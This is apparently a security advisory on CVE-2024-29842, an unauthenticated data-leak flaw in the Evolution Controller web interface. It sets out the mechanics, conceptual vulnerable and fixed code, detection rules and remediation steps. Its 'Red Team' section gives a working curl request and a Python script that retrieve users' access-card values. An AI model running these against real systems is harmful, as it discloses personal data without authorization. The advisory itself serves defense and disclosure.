CVE-2024-29842

Executive Summary

CVE-2024-29842 identifies a critical access control vulnerability in the Evolution Controller web interface, specifically within the DESKTOP_EDIT_USER_GET_ABACARD_FIELDS endpoint. This flaw allows an unauthenticated attacker to retrieve the abacard field of any user, leading to unauthorized disclosure of sensitive data. The vulnerability affects versions 2.04.560.31.03.2024 and below. With a CVSS score of 7.5 (High), the risk is significant due to the lack of authentication required and the potential for data exfiltration. No patch is currently available, and no public exploit code has been released, but the attack vector is straightforward.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): High (H) – Full disclosure of user abacard data.
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and exposes sensitive user data.

Deep Dive & Mechanics

The vulnerability resides in the DESKTOP_EDIT_USER_GET_ABACARD_FIELDS endpoint of the Evolution Controller web interface. This endpoint is intended to retrieve the abacard field (likely a badge or access card identifier) for a given user. However, due to poorly configured access controls, the endpoint does not enforce authentication or authorization checks. An attacker can send a crafted HTTP request to this endpoint with a user identifier (e.g., user ID or username) and receive the corresponding abacard value in the response.

The root cause is a missing or improperly implemented access control check in the server-side code. The endpoint likely performs a database query to fetch the abacard field but fails to verify that the requester is authenticated or authorized to view that data. This is a classic example of CWE-284 (Improper Access Control).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/DESKTOP_EDIT_USER_GET_ABACARD_FIELDS', methods=['GET'])
def get_abacard():
    user_id = request.args.get('user_id')
    # No authentication check
    result = db.query("SELECT abacard FROM users WHERE id = ?", user_id)
    return jsonify({'abacard': result})

Patched Code (Conceptual):

@app.route('/DESKTOP_EDIT_USER_GET_ABACARD_FIELDS', methods=['GET'])
@login_required
def get_abacard():
    user_id = request.args.get('user_id')
    if not current_user.is_admin and current_user.id != user_id:
        abort(403)
    result = db.query("SELECT abacard FROM users WHERE id = ?", user_id)
    return jsonify({'abacard': result})

The patched version adds authentication (@login_required) and authorization checks to ensure only the user themselves or an admin can access the data.

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Identify a target running Evolution Controller version <= 2.04.560.31.03.2024.
2. Send a GET request to the vulnerable endpoint with a valid user ID.

Example Request:

curl -X GET "http://target-ip/DESKTOP_EDIT_USER_GET_ABACARD_FIELDS?user_id=1"

Expected Response:

{"abacard": "1234567890"}

Automation Script:

import requests

target = "http://target-ip"
user_id = 1
url = f"{target}/DESKTOP_EDIT_USER_GET_ABACARD_FIELDS?user_id={user_id}"
response = requests.get(url)
if response.status_code == 200:
    print(f"Abacard for user {user_id}: {response.json()['abacard']}")
else:
    print("Failed to retrieve data")

Blue Team

Detection & Mitigation:

• Monitor logs for requests to /DESKTOP_EDIT_USER_GET_ABACARD_FIELDS without prior authentication.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated access to this endpoint.
• Apply network segmentation to limit exposure of the controller interface.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /DESKTOP_EDIT_USER_GET_ABACARD_FIELDS with a user_id parameter.
  • Source IP addresses not associated with legitimate administrative traffic.
• Host IOCs:
  • Unusual entries in web server logs showing repeated access to the vulnerable endpoint.
  • Presence of abacard data in outbound network traffic.

Detection Engineering

YARA Rule

rule CVE_2024_29842_Evolution_Controller {
    meta:
        description = "Detects exploitation attempts for CVE-2024-29842"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-29842"
    strings:
        $endpoint = "/DESKTOP_EDIT_USER_GET_ABACARD_FIELDS"
        $param = "user_id="
    condition:
        $endpoint and $param
}

Sigma Rule

title: CVE-2024-29842 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/DESKTOP_EDIT_USER_GET_ABACARD_FIELDS'
        cs-uri-query|contains: 'user_id='
    condition: selection
falsepositives:
    - Legitimate administrative access
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-29842 Evolution Controller Abacard Data Leak"; flow:to_server; content:"GET"; http_method; content:"/DESKTOP_EDIT_USER_GET_ABACARD_FIELDS"; http_uri; content:"user_id="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate Actions:
  • Restrict network access to the Evolution Controller web interface to trusted IPs only.
  • Implement a reverse proxy with authentication (e.g., HTTP Basic Auth) in front of the controller.
  • Monitor logs for suspicious access to the vulnerable endpoint.
• Long-term Fix:
  • Apply a vendor patch when available.
  • Upgrade to a patched version of the Evolution Controller firmware.
  • Conduct a security audit of all endpoints for proper access controls.

Valters IT